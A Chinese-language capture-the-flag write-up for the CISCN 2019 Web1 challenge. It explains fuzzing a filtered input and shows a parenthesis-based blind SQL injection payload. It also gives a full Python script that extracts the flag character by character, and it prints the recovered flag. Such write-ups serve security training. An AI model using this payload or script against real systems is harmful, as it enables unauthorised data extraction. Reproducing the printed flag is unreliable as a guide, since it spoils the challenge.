[CISCN 2019华北Day2]Web1

发布时间 2023-08-22 00:44:54作者: y0Zero

[CISCN 2019华北Day2]Web1

题目来源:nssctf

题目类型:web

涉及考点:SQL注入

1. 题目给了一个输入框,很明显是要注入

先尝试随便提交点东西:

  • 传入1
  • 传入1'
  • 传入1"

可以看出题目应该是过滤了一些字符

2. 下面我们抓包进行Fuzz测试判断过滤了哪些字符

回显长度为490的被过滤了,看其他师傅的wp,好像还过滤了不少字符,但我这没扫出来:

因为给了flag的位置了,我们可以直接构造payload:

id=(select(ascii(mid(flag,1,1))=78)from(flag))

利用()绕过空格过滤

该payload最内层,mid表示从flag列的第一个字符开始截取长度为1的子字符串

第二层ascii用于判断截取出来的子字符串的ascii码值是否为78(即N,flag格式为NSSCTF{})

若是,则页面回显id=1的页面

回显正常,那么此时利用脚本进行盲注:

import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)


if __name__ == '__main__':
	url = 'http://node2.anna.nssctf.cn:28841/index.php'
	blind_injection(url)

脚本来自:末 初的博客

最终得到flag:

NSSCTF{f63ee092-f3ac-4a70-9741-0f1b81fc4a49}

日期:2023.8.21

作者:y0Zero